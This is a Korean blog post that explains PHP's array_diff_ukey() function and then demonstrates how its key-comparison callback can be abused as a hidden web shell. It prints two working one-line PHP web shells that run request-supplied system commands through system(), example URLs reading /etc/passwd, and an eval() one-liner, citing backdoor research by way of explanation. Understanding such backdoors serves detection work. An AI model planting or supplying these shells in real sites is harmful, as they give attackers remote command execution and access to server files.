티스토리 뷰

( 1 ) array_diff_ukey() 함수

 

키를 기준으로 콜백 함수를 이용하여 배열의 차이를 계산하는 함수임.

 

기본 형식은 아래와 같으며 반환 값은 다른 인자에서 존재하지 않는 array1 의 모든 값들을 포함하는 배열을 반환함.

 

 array array_diff_ukey ( array $array1 , array $array2 [, array $... ], callable $key_compare_func )

 

$array1

비교 원래 배열

 

$array2

비교하는 대상인 배열

 

$...

더 비교하는 대상인 배열

 

$key_compare_func

비교 함수는 첫 번째 인수로 두 번째 인수의 비교 결과를 되돌려줌.

 

참고 사이트 : 

http://phpdoc.me/manual/kr/function.array-diff-ukey.php

http://www.php.net/manual/en/function.array-diff-ukey.php

http://www.phpwelt.net/handbuecher/korean/function.array-diff.html

 

 

 

( 2 ) array_diff_ukey() 함수를 이용한 PHP WebShell

 

<?php

@array_diff_ukey(@array((string)$_REQUEST['password']=>1), 

@array((string)stripslashes($_REQUEST['re_password'])=>2), 

$_REQUEST['login']);

?>

<URI 에 3 개의 파라미터가 필요한 PHP WebShell 코드>

 


URL 입력 : hxxp://사이트 주소/webshell1.php?password=cat /etc/passwd&re_password=&login=system

<실행한 화면>

 

여기서 stripslashes () 함수는 백슬래쉬를 제거하는 함수임.

 

비교 함수 변수 "login" 에 공격자가 제어할 콜백 함수를 설정하여 공격자가 원하는 코드를 URI 에 입력하여 출력하는 PHP WebShell 로써 실습한 URI 를 보면 password 파라미터에 원하는 시스템 명령어를 설정하고 login 파라미터에는 명령어를 실행 가능한 함수 system () 함수를 입력하여 해당 시스템 명령어를 실행시킴.

 

 <?php

@array_diff_ukey(@array($_REQUEST['koromoon']=>1), @array(''=>2),'system');

?>

<URI 에 1 개의 파라미터가 필요한 PHP WebShell 코드

 


URL 입력 : hxxp://사이트 주소/webshell2.php?koromoon=cat /etc/passwd

<실행한 화면>

 

위 첫 번째 코드는 파라미터 3개가 필요하지만 두 번째 코드는 파라미터 하나(필자가 정의한 koromoon 변수)에 원하는 시스템 명령어를 입력하고 코드상 미리 정의된 system () 함수를 통해 해당 시스템 명령어를 실행시킴.

일종의 eval() 함수를 대신할 One Line WebShell 코드임. (ex. @eval($_REQUEST['e']);) 

 

참고 사이트 : 

http://blog.sucuri.net/2014/04/php-callback-functions-another-way-to-hide-backdoors.html 

http://sekurak.pl/backdoory-w-aplikacjach-php/

http://blog.sucuri.net/2014/04/joomla-plugin-constructor-backdoor.html


댓글
안내
궁금한 점을 댓글로 남겨주시면 답변해 드립니다.